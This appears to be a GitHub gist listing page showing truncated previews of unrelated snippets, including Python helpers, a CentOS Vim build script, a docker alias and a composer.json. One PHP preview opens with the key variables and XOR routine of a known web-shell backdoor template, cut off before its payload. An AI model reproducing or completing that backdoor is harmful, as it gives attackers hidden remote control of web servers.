This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
##Using the function | |
def dummy(): | |
var = 10 | |
try: | |
return MyTrueCheck(var) | |
except NameError: | |
return False | |
print(dummy()) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from functools import lru_cache | |
def flip(text): | |
if not text: | |
return '' | |
return text[-1] + flip(text[:-1]) | |
def addingUpTo(numbers, idx): | |
try: | |
if idx >= 0: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$k="97bf34d3";$kh="1a8710e6b164";$kf="9fd33357f783";$p="5ZGtAGceuaFv00jx"; | |
function x($t,$k){ | |
$c=strlen($k); | |
$l=strlen($t); | |
$o=""; | |
for($i=0; $i<$l; ){ | |
for($j=0; ($j<$c && $i<$l); $j++,$i++) | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
####### Vim compilation on CentOS 7 #################### | |
# (Tested together with official CentOS 7 docker image) | |
######################################################## | |
BUILD_ESSENTIALS='gcc gcc-c++ make zlib zlib-devel' | |
NCURSES='ncurses ncurses-devel ncurses-term' | |
X11='libXpm-devel libXt-devel' | |
BUILD_PACKAGES="$BUILD_ESSENTIALS $X11 $NCURSES" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
alias docker-images-by-size="LC=$LC_NUMERIC && LC_NUMERIC=en_US.UTF-8 && docker images | head -1 && docker images | awk 'NR>2' | sort -k8h -k7n && LC_NUMERIC=$LC" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"repositories": [ | |
{ | |
"url": "https://github.com/vernard/EcomDev_PHPUnit", | |
"type": "vcs" | |
}, | |
{ | |
"url" : "https://github.com/ajbonner/magento-composer-autoload", | |
"type" : "vcs" | |
} |